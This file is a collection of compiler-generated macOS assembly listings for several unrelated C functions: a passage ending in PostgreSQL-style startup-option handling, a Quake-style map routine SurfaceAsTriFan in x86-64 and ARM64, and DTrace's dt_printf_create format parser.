x21, x0 ldr w3, [x24] mov x0, x22 mov x1, x23 mov x2, x20 bl _SetConfigOption cbnz x21, LBB0_4 LBB0_5: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGot Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _PGC_SU_BACKEND,4,2 ; @PGC_SU_BACKEND .comm _PGC_BACKEND,4,2 ; @PGC_BACKEND .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "postgres" .comm _PGC_S_CLIENT,4,2 ; @PGC_S_CLIENT .no_dead_strip _process_startup_options .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function SurfaceAsTriFan _SurfaceAsTriFan: ## @SurfaceAsTriFan .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movq _numDrawVerts@GOTPCREL(%rip), %r12 movq (%r12), %rax movq _MAX_MAP_DRAW_VERTS@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_2 ## %bb.1: leaq L_.str(%rip), %rdi callq _Error movq (%r12), %rax LBB0_2: movq _drawVerts@GOTPCREL(%rip), %r15 movq (%r15), %rsi leaq (%rax,%rax,4), %rcx leaq (%rsi,%rcx,8), %r14 incq %rax movq %rax, (%r12) movl 4(%rbx), %r9d testl %r9d, %r9d js LBB0_3 ## %bb.4: movslq (%rbx), %rax negq %rax leaq (%rax,%rax,4), %rax leaq (%rsi,%rax,8), %r12 pxor %xmm0, %xmm0 movl $-1, %r13d .p2align 4, 0x90 LBB0_5: ## =>This Inner Loop Header: Depth=1 movdqa %xmm0, -64(%rbp) ## 16-byte Spill movq (%r14), %rdi movq (%r12), %rsi movq %rdi, %rdx callq _VectorAdd movq 8(%r12), %rax movl (%rax), %ecx movq 8(%r14), %r8 addl %ecx, (%r8) movl 4(%rax), %eax addl %eax, 4(%r8) movq 16(%r12), %rax movl (%rax), %ecx movq 16(%r14), %rdi addl %ecx, (%rdi) movl 4(%rax), %eax addl %eax, 4(%rdi) movq 24(%r12), %rax movdqu (%rax), %xmm0 movdqa -64(%rbp), %xmm1 ## 16-byte Reload paddd %xmm0, %xmm1 movdqa %xmm1, -64(%rbp) ## 16-byte Spill movdqa -64(%rbp), %xmm0 ## 16-byte Reload addq $40, %r12 movl 4(%rbx), %r9d incl %r13d cmpl %r9d, %r13d jl LBB0_5 ## %bb.6: movq (%r15), %rsi jmp LBB0_7 LBB0_3: movq 8(%r14), %r8 movq 16(%r14), %rdi pxor %xmm0, %xmm0 LBB0_7: movq (%r14), %r10 movl (%r10), %eax movl 4(%r10), %ecx cltd idivl %r9d movl %eax, (%r10) movl %ecx, %eax cltd idivl 4(%rbx) movl %eax, 4(%r10) movl 8(%r10), %eax cltd idivl 4(%rbx) movl %eax, 8(%r10) movl (%r8), %eax movl 4(%r8), %ecx cltd idivl 4(%rbx) movl %eax, (%r8) movl %ecx, %eax cltd idivl 4(%rbx) movl %eax, 4(%r8) movl (%rdi), %eax movl 4(%rdi), %ecx cltd idivl 4(%rbx) movl %eax, (%rdi) movl %ecx, %eax cltd idivl 4(%rbx) movl %eax, 4(%rdi) movd %xmm0, %eax cltd idivl 4(%rbx) movq 24(%r14), %rcx movl %eax, (%rcx) pextrd $1, %xmm0, %eax cltd idivl 4(%rbx) movl %eax, 4(%rcx) pextrd $2, %xmm0, %eax cltd idivl 4(%rbx) movl %eax, 8(%rcx) pextrd $3, %xmm0, %eax cltd idivl 4(%rbx) movl %eax, 12(%rcx) movslq (%rbx), %rax leaq (%rax,%rax,4), %rax movl 32(%rsi,%rax,8), %edi movl 32(%r14), %esi callq _VectorCopy movq _numDrawIndexes@GOTPCREL(%rip), %r14 movq (%r14), %rsi movslq 4(%rbx), %rax leaq (%rax,%rax,2), %rcx leaq (%rsi,%rcx), %rdx movq _MAX_MAP_DRAW_INDEXES@GOTPCREL(%rip), %rdi cmpq (%rdi), %rdx jle LBB0_9 ## %bb.8: leaq L_.str.1(%rip), %rdi callq _Error movq (%r14), %rsi movl 4(%rbx), %eax leal (%rax,%rax,2), %ecx LBB0_9: movq %rsi, 16(%rbx) movl %ecx, 8(%rbx) testl %eax, %eax jle LBB0_13 ## %bb.10: movq _drawIndexes@GOTPCREL(%rip), %rcx movq (%rcx), %rdi xorl %ecx, %ecx .p2align 4, 0x90 LBB0_11: ## =>This Inner Loop Header: Depth=1 movl %eax, (%rdi,%rsi,4) movl %ecx, 4(%rdi,%rsi,4) incl %ecx movl %ecx, %eax cltd idivl 4(%rbx) movl %edx, 8(%rdi,%rsi,4) addq $3, %rsi movl 4(%rbx), %eax cmpl %eax, %ecx jl LBB0_11 ## %bb.12: movq %rsi, (%r14) LBB0_13: incl %eax movl %eax, 4(%rbx) addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _numDrawVerts,8,3 ## @numDrawVerts .comm _MAX_MAP_DRAW_VERTS,8,3 ## @MAX_MAP_DRAW_VERTS .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "MAX_MAP_DRAW_VERTS" .comm _drawVerts,8,3 ## @drawVerts .comm _numDrawIndexes,8,3 ## @numDrawIndexes .comm _MAX_MAP_DRAW_INDEXES,8,3 ## @MAX_MAP_DRAW_INDEXES L_.str.1: ## @.str.1 .asciz "MAX_MAP_DRAWINDEXES" .comm _drawIndexes,8,3 ## @drawIndexes .no_dead_strip _SurfaceAsTriFan .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function SurfaceAsTriFan _SurfaceAsTriFan: ; @SurfaceAsTriFan .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x0 Lloh0: adrp x21, _numDrawVerts@GOTPAGE Lloh1: ldr x21, [x21, _numDrawVerts@GOTPAGEOFF] ldr x8, [x21] Lloh2: adrp x9, _MAX_MAP_DRAW_VERTS@GOTPAGE Lloh3: ldr x9, [x9, _MAX_MAP_DRAW_VERTS@GOTPAGEOFF] Lloh4: ldr x9, [x9] cmp x8, x9 b.ne LBB0_2 ; %bb.1: Lloh5: adrp x0, l_.str@PAGE Lloh6: add x0, x0, l_.str@PAGEOFF bl _Error ldr x8, [x21] LBB0_2: Lloh7: adrp x25, _drawVerts@GOTPAGE Lloh8: ldr x25, [x25, _drawVerts@GOTPAGEOFF] ldr x9, [x25] mov w10, #40 ; =0x28 madd x20, x8, x10, x9 add x8, x8, #1 str x8, [x21] ldr w11, [x19, #4] tbnz w11, #31, LBB0_6 ; %bb.3: mov w24, #0 ; =0x0 mov w23, #0 ; =0x0 mov w22, #0 ; =0x0 mov w21, #0 ; =0x0 ldrsw x8, [x19] mov w10, #40 ; =0x28 mneg x8, x8, x10 add x26, x9, x8 mov w27, #-1 ; =0xffffffff LBB0_4: ; =>This Inner Loop Header: Depth=1 ldr x0, [x20] ldr x1, [x26] mov x2, x0 bl _VectorAdd ldp x9, x11, [x26, #8] ldr w12, [x9] ldp x10, x8, [x20, #8] ldp w13, w14, [x10] add w12, w13, w12 str w12, [x10] ldr w9, [x9, #4] add w9, w14, w9 str w9, [x10, #4] ldr w9, [x11] ldp w12, w13, [x8] add w9, w12, w9 str w9, [x8] ldr w9, [x11, #4] add w9, w13, w9 str w9, [x8, #4] ldr x9, [x26, #24] ldp w11, w12, [x9] add w24, w11, w24 add w23, w12, w23 ldp w11, w9, [x9, #8] add w22, w11, w22 add w21, w9, w21 add x26, x26, #40 ldr w11, [x19, #4] add w27, w27, #1 cmp w27, w11 b.lt LBB0_4 ; %bb.5: ldr x9, [x25] b LBB0_7 LBB0_6: mov w21, #0 ; =0x0 mov w22, #0 ; =0x0 mov w23, #0 ; =0x0 mov w24, #0 ; =0x0 ldp x10, x8, [x20, #8] LBB0_7: ldr x12, [x20] ldp w13, w14, [x12] sdiv w11, w13, w11 str w11, [x12] ldr w11, [x19, #4] sdiv w11, w14, w11 str w11, [x12, #4] ldr w11, [x19, #4] ldr w13, [x12, #8] sdiv w11, w13, w11 str w11, [x12, #8] ldr w11, [x19, #4] ldp w12, w13, [x10] sdiv w11, w12, w11 str w11, [x10] ldr w11, [x19, #4] sdiv w11, w13, w11 str w11, [x10, #4] ldr w10, [x19, #4] ldp w11, w12, [x8] sdiv w10, w11, w10 str w10, [x8] ldr w10, [x19, #4] sdiv w10, w12, w10 str w10, [x8, #4] ldr w8, [x19, #4] sdiv w8, w24, w8 ldr x10, [x20, #24] str w8, [x10] ldr w8, [x19, #4] sdiv w8, w23, w8 str w8, [x10, #4] ldr w8, [x19, #4] sdiv w8, w22, w8 str w8, [x10, #8] ldr w8, [x19, #4] sdiv w8, w21, w8 str w8, [x10, #12] ldrsw x8, [x19] mov w10, #40 ; =0x28 smaddl x8, w8, w10, x9 ldr w0, [x8, #32] ldr w1, [x20, #32] bl _VectorCopy Lloh9: adrp x20, _numDrawIndexes@GOTPAGE Lloh10: ldr x20, [x20, _numDrawIndexes@GOTPAGEOFF] ldr x8, [x20] ldrsw x9, [x19, #4] add x10, x9, x9, lsl #1 Lloh11: adrp x11, _MAX_MAP_DRAW_INDEXES@GOTPAGE Lloh12: ldr x11, [x11, _MAX_MAP_DRAW_INDEXES@GOTPAGEOFF] Lloh13: ldr x11, [x11] add x12, x8, x10 cmp x12, x11 b.le LBB0_9 ; %bb.8: Lloh14: adrp x0, l_.str.1@PAGE Lloh15: add x0, x0, l_.str.1@PAGEOFF bl _Error ldr x8, [x20] ldr w9, [x19, #4] add w10, w9, w9, lsl #1 LBB0_9: str x8, [x19, #16] str w10, [x19, #8] cmp w9, #1 b.lt LBB0_13 ; %bb.10: mov w10, #0 ; =0x0 Lloh16: adrp x11, _drawIndexes@GOTPAGE Lloh17: ldr x11, [x11, _drawIndexes@GOTPAGEOFF] Lloh18: ldr x11, [x11] add x11, x11, x8, lsl #2 add x11, x11, #4 LBB0_11: ; =>This Inner Loop Header: Depth=1 stp w9, w10, [x11, #-4] add w10, w10, #1 ldr w9, [x19, #4] sdiv w12, w10, w9 msub w9, w12, w9, w10 add x8, x8, #3 str w9, [x11, #4] ldr w9, [x19, #4] add x11, x11, #12 cmp w10, w9 b.lt LBB0_11 ; %bb.12: str x8, [x20] LBB0_13: add w8, w9, #1 str w8, [x19, #4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpAdd Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .cfi_endproc ; -- End function .comm _numDrawVerts,8,3 ; @numDrawVerts .comm _MAX_MAP_DRAW_VERTS,8,3 ; @MAX_MAP_DRAW_VERTS .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "MAX_MAP_DRAW_VERTS" .comm _drawVerts,8,3 ; @drawVerts .comm _numDrawIndexes,8,3 ; @numDrawIndexes .comm _MAX_MAP_DRAW_INDEXES,8,3 ; @MAX_MAP_DRAW_INDEXES l_.str.1: ; @.str.1 .asciz "MAX_MAP_DRAWINDEXES" .comm _drawIndexes,8,3 ; @drawIndexes .no_dead_strip _SurfaceAsTriFan .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _dt_printf_create ## -- Begin function dt_printf_create .p2align 4, 0x90 _dt_printf_create: ## @dt_printf_create .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $72, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %rbx movq %rdi, %r13 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movl $40, %edi callq _malloc movq %rax, %r14 movq %rax, %r15 movq %rbx, %rdi callq _strdup testq %rax, %rax je LBB0_1 ## %bb.3: movq %rax, %r12 movq %rax, (%r15) leaq 16(%r14), %rax movq %rax, -104(%rbp) ## 8-byte Spill addq $8, %r14 movq %r14, -72(%rbp) ## 8-byte Spill movq $0, 32(%r15) xorps %xmm0, %xmm0 movups %xmm0, 8(%r15) movq %r13, 24(%r15) movq %r12, %rdi movl $37, %esi callq _strchr testq %rax, %rax movq %r12, -112(%rbp) ## 8-byte Spill je LBB0_4 ## %bb.5: movq %rax, %rbx xorl %r14d, %r14d movq %r15, -80(%rbp) ## 8-byte Spill movq %r13, -88(%rbp) ## 8-byte Spill LBB0_6: ## =>This Loop Header: Depth=1 ## Child Loop BB0_11 Depth 2 ## Child Loop BB0_12 Depth 3 ## Child Loop BB0_18 Depth 3 movl $48, %edi callq _malloc testq %rax, %rax je LBB0_7 ## %bb.8: ## in Loop: Header=BB0_6 Depth=1 addq $32, %r14 movq -104(%rbp), %rcx ## 8-byte Reload cmpq $0, (%rcx) cmoveq %rcx, %r14 movq %rax, (%r14) movq %rax, -96(%rbp) ## 8-byte Spill movq -96(%rbp), %rdi ## 8-byte Reload movl $48, %esi callq _bzero movq -96(%rbp), %rdx ## 8-byte Reload movq -72(%rbp), %rax ## 8-byte Reload incq (%rax) movq %rbx, %rax subq %r12, %rax jbe LBB0_10 ## %bb.9: ## in Loop: Header=BB0_6 Depth=1 movq %rax, (%rdx) movq %r12, 8(%rdx) LBB0_10: ## in Loop: Header=BB0_6 Depth=1 movl $0, -60(%rbp) ## 4-byte Folded Spill xorl %r14d, %r14d xorl %r15d, %r15d jmp LBB0_11 .p2align 4, 0x90 LBB0_23: ## in Loop: Header=BB0_11 Depth=2 movq -96(%rbp), %rdx ## 8-byte Reload movl %r12d, 24(%rdx) incl %r14d LBB0_11: ## Parent Loop BB0_6 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_12 Depth 3 ## Child Loop BB0_18 Depth 3 leaq LJTI0_0(%rip), %rsi LBB0_12: ## Parent Loop BB0_6 Depth=1 ## Parent Loop BB0_11 Depth=2 ## => This Inner Loop Header: Depth=3 leaq 1(%rbx), %r12 movzbl 1(%rbx), %r13d cmpq $119, %r13 ja LBB0_49 ## %bb.13: ## in Loop: Header=BB0_12 Depth=3 movslq (%rsi,%r13,4), %rax addq %rsi, %rax jmpq *%rax LBB0_14: ## in Loop: Header=BB0_12 Depth=3 testl %r15d, %r15d jne LBB0_17 ## %bb.15: ## in Loop: Header=BB0_12 Depth=3 testl %r14d, %r14d jne LBB0_17 ## %bb.16: ## in Loop: Header=BB0_12 Depth=3 cmpb $48, %r13b jne LBB0_17 ## %bb.61: ## in Loop: Header=BB0_12 Depth=3 movl 16(%rdx), %eax movq _DT_PFCONV_ZPAD@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _DT_PFCONV_LEFT@GOTPCREL(%rip), %rcx movl (%rcx), %ecx notl %ecx andl %eax, %ecx movl %ecx, 16(%rdx) movq %r12, %rbx xorl %r14d, %r14d xorl %r15d, %r15d jmp LBB0_12 LBB0_47: ## in Loop: Header=BB0_12 Depth=3 movq %r12, %rbx cmpl $6, -60(%rbp) ## 4-byte Folded Reload ja LBB0_12 ## %bb.48: ## in Loop: Header=BB0_12 Depth=3 movl -60(%rbp), %ecx ## 4-byte Reload movl %ecx, %eax incl %ecx movl %ecx, -60(%rbp) ## 4-byte Spill movb %r13b, -56(%rbp,%rax) movq %r12, %rbx jmp LBB0_12 LBB0_33: ## in Loop: Header=BB0_12 Depth=3 movq %r12, %rbx movl $0, %r14d testl %r15d, %r15d movl $1, %r15d je LBB0_12 jmp LBB0_34 LBB0_24: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_ALT@GOTPCREL(%rip), %rax jmp LBB0_25 LBB0_41: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_GROUP@GOTPCREL(%rip), %rax jmp LBB0_25 LBB0_42: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_SPACE@GOTPCREL(%rip), %rax jmp LBB0_25 LBB0_31: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_SPOS@GOTPCREL(%rip), %rax jmp LBB0_25 LBB0_26: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_DYNPREC@GOTPCREL(%rip), %rax testl %r15d, %r15d jne LBB0_28 ## %bb.27: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_DYNWIDTH@GOTPCREL(%rip), %rax LBB0_28: ## in Loop: Header=BB0_12 Depth=3 movl (%rax), %eax movl 16(%rdx), %ecx orl %eax, %ecx jne LBB0_29 ## %bb.30: ## in Loop: Header=BB0_12 Depth=3 movl $0, 16(%rdx) movq %r12, %rbx jmp LBB0_12 LBB0_32: ## in Loop: Header=BB0_12 Depth=3 movl 16(%rdx), %eax movq _DT_PFCONV_LEFT@GOTPCREL(%rip), %rcx orl (%rcx), %eax movq _DT_PFCONV_ZPAD@GOTPCREL(%rip), %rcx movl (%rcx), %ecx notl %ecx andl %eax, %ecx movl %ecx, 16(%rdx) movq %r12, %rbx jmp LBB0_12 LBB0_37: ## in Loop: Header=BB0_12 Depth=3 movq -88(%rbp), %rax ## 8-byte Reload movl (%rax), %eax movq _CTF_MODEL_LP64@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_39 ## %bb.38: ## in Loop: Header=BB0_12 Depth=3 movl $16, 24(%rdx) movq %r12, %rbx jmp LBB0_12 LBB0_40: ## in Loop: Header=BB0_12 Depth=3 movq _DT_PFCONV_AGG@GOTPCREL(%rip), %rax .p2align 4, 0x90 LBB0_25: ## in Loop: Header=BB0_12 Depth=3 movl (%rax), %eax orl %eax, 16(%rdx) movq %r12, %rbx jmp LBB0_12 LBB0_39: ## in Loop: Header=BB0_12 Depth=3 movl $8, 24(%rdx) movq %r12, %rbx jmp LBB0_12 .p2align 4, 0x90 LBB0_17: ## in Loop: Header=BB0_11 Depth=2 movsbl %r13b, %edi callq _isdigit xorl %r12d, %r12d testl %eax, %eax je LBB0_20 .p2align 4, 0x90 LBB0_18: ## Parent Loop BB0_6 Depth=1 ## Parent Loop BB0_11 Depth=2 ## => This Inner Loop Header: Depth=3 leal (%r12,%r12,4), %eax movsbl %r13b, %ecx leal (%rcx,%rax,2), %r12d addl $-48, %r12d movzbl 2(%rbx), %r13d movsbl %r13b, %edi callq _isdigit incq %rbx testl %eax, %eax jne LBB0_18 LBB0_20: ## in Loop: Header=BB0_11 Depth=2 testl %r15d, %r15d je LBB0_23 ## %bb.21: ## in Loop: Header=BB0_11 Depth=2 movq -96(%rbp), %rdx ## 8-byte Reload movl %r12d, 20(%rdx) incl %r14d jmp LBB0_11 LBB0_44: ## in Loop: Header=BB0_6 Depth=1 cmpb $37, (%rbx) jne LBB0_45 LBB0_49: ## in Loop: Header=BB0_6 Depth=1 movslq -60(%rbp), %rax ## 4-byte Folded Reload movb %r13b, -56(%rbp,%rax) movb $0, -55(%rbp,%rax) movq -88(%rbp), %r13 ## 8-byte Reload movq %r13, %rdi leaq -56(%rbp), %rsi callq _dt_pfdict_lookup movq -96(%rbp), %rcx ## 8-byte Reload movq %rax, 40(%rcx) testq %rax, %rax je LBB0_50 ## %bb.53: ## in Loop: Header=BB0_6 Depth=1 cmpb $1, (%r12) sbbq $-1, %r12 movq %r12, %rdi movl $37, %esi callq _strchr movq -96(%rbp), %rcx ## 8-byte Reload movq %rax, %rbx movq %rcx, %r14 testq %rax, %rax movq -80(%rbp), %r15 ## 8-byte Reload jne LBB0_6 jmp LBB0_54 LBB0_1: movq %r15, %rdi callq _free movq _EDT_NOMEM@GOTPCREL(%rip), %rax movl (%rax), %esi movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_60 ## %bb.2: movq %r13, %rdi addq $72, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _dt_printf_error ## TAILCALL LBB0_4: xorl %ecx, %ecx LBB0_54: cmpb $0, (%r12) je LBB0_55 LBB0_56: movq %rcx, %rbx movl $48, %edi callq _malloc testq %rax, %rax je LBB0_57 ## %bb.58: addq $32, %rbx movq -104(%rbp), %rcx ## 8-byte Reload cmpq $0, (%rcx) cmoveq %rcx, %rbx movq %rax, (%rbx) movq %rax, %rdi movl $48, %esi movq %rax, %rbx callq _bzero movq -72(%rbp), %rax ## 8-byte Reload incq (%rax) movq %r12, 8(%rbx) movq %r12, %rdi callq _strlen movq %rax, (%rbx) jmp LBB0_59 LBB0_46: movq -72(%rbp), %rax ## 8-byte Reload movq (%rax), %rsi leaq L_.str.6(%rip), %rdi jmp LBB0_35 LBB0_43: movq -72(%rbp), %rax ## 8-byte Reload movq (%rax), %rsi leaq L_.str.4(%rip), %rdi jmp LBB0_35 LBB0_55: movq -112(%rbp), %rax ## 8-byte Reload cmpb $0, (%rax) jne LBB0_59 jmp LBB0_56 LBB0_34: movq -72(%rbp), %rax ## 8-byte Reload movq (%rax), %rsi leaq L_.str.3(%rip), %rdi LBB0_35: xorl %eax, %eax callq _yywarn jmp LBB0_36 LBB0_29: movq -72(%rbp), %rcx ## 8-byte Reload movq (%rcx), %rsi testl %eax, %eax leaq L_.str.2(%rip), %rax leaq L_.str.1(%rip), %rdx cmoveq %rax, %rdx leaq L_.str(%rip), %rdi xorl %eax, %eax callq _yywarn LBB0_36: movq _EDT_COMPILER@GOTPCREL(%rip), %rbx movq -80(%rbp), %r15 ## 8-byte Reload movq -88(%rbp), %r13 ## 8-byte Reload LBB0_51: movq %r15, %rdi callq _dt_printf_destroy movl (%rbx), %esi LBB0_52: movq %r13, %rdi callq _dt_printf_error movq %rax, %r15 LBB0_59: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_60 ## %bb.62: movq %r15, %rax addq $72, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_57: movq %r15, %rdi callq _dt_printf_destroy movq _EDT_NOMEM@GOTPCREL(%rip), %rax movl (%rax), %esi jmp LBB0_52 LBB0_7: movq _EDT_NOMEM@GOTPCREL(%rip), %rbx jmp LBB0_51 LBB0_50: movq -72(%rbp), %rax ## 8-byte Reload movq (%rax), %rsi leaq L_.str.7(%rip), %rdi leaq -56(%rbp), %rdx xorl %eax, %eax callq _yywarn movq _EDT_COMPILER@GOTPCREL(%rip), %rbx movq -80(%rbp), %r15 ## 8-byte Reload jmp LBB0_51 LBB0_45: movq -72(%rbp), %rax ## 8-byte Reload movq (%rax), %rsi leaq L_.str.5(%rip), %rdi jmp LBB0_35 LBB0_60: callq ___stack_chk_fail .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_46, LBB0_46-LJTI0_0 .set L0_0_set_49, LBB0_49-LJTI0_0 .set L0_0_set_42, LBB0_42-LJTI0_0 .set L0_0_set_24, LBB0_24-LJTI0_0 .set L0_0_set_43, LBB0_43-LJTI0_0 .set L0_0_set_44, LBB0_44-LJTI0_0 .set L0_0_set_41, LBB0_41-LJTI0_0 .set L0_0_set_26, LBB0_26-LJTI0_0 .set L0_0_set_31, LBB0_31-LJTI0_0 .set L0_0_set_32, LBB0_32-LJTI0_0 .set L0_0_set_33, LBB0_33-LJTI0_0 .set L0_0_set_14, LBB0_14-LJTI0_0 .set L0_0_set_37, LBB0_37-LJTI0_0 .set L0_0_set_40, LBB0_40-LJTI0_0 .set L0_0_set_47, LBB0_47-LJTI0_0 LJTI0_0: .long L0_0_set_46 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_42 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_24 .long L0_0_set_43 .long L0_0_set_44 .long L0_0_set_49 .long L0_0_set_41 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_26 .long L0_0_set_31 .long L0_0_set_49 .long L0_0_set_32 .long L0_0_set_33 .long L0_0_set_49 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_14 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_37 .long L0_0_set_40 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_47 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_47 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_47 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_49 .long L0_0_set_47 .end_data_region ## -- End function .comm _EDT_NOMEM,4,2 ## @EDT_NOMEM .comm _DT_PFCONV_ZPAD,4,2 ## @DT_PFCONV_ZPAD .comm _DT_PFCONV_LEFT,4,2 ## @DT_PFCONV_LEFT .comm _DT_PFCONV_ALT,4,2 ## @DT_PFCONV_ALT .comm _DT_PFCONV_DYNPREC,4,2 ## @DT_PFCONV_DYNPREC .comm _DT_PFCONV_DYNWIDTH,4,2 ## @DT_PFCONV_DYNWIDTH .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "format conversion #%u has more than one '*' specified for the output %s\n" L_.str.1: ## @.str.1 .asciz "precision" L_.str.2: ## @.str.2 .asciz "width" .comm _EDT_COMPILER,4,2 ## @EDT_COMPILER .comm _DT_PFCONV_SPOS,4,2 ## @DT_PFCONV_SPOS L_.str.3: ## @.str.3 .asciz "format conversion #%u has more than one '.' specified\n" .comm _CTF_MODEL_LP64,4,2 ## @CTF_MODEL_LP64 .comm _DT_PFCONV_AGG,4,2 ## @DT_PFCONV_AGG .comm _DT_PFCONV_GROUP,4,2 ## @DT_PFCONV_GROUP .comm _DT_PFCONV_SPACE,4,2 ## @DT_PFCONV_SPACE L_.str.4: ## @.str.4 .asciz "format conversion #%u uses unsupported positional format (%%n$)\n" L_.str.5: ## @.str.5 .asciz "format conversion #%u cannot be combined with other format flags: %%%%\n" L_.str.6: ## @.str.6 .asciz "format conversion #%u name expected before end of format string\n" L_.str.7: ## @.str.7 .asciz "format conversion #%u is undefined: %%%s\n" .subsections_via_symbols
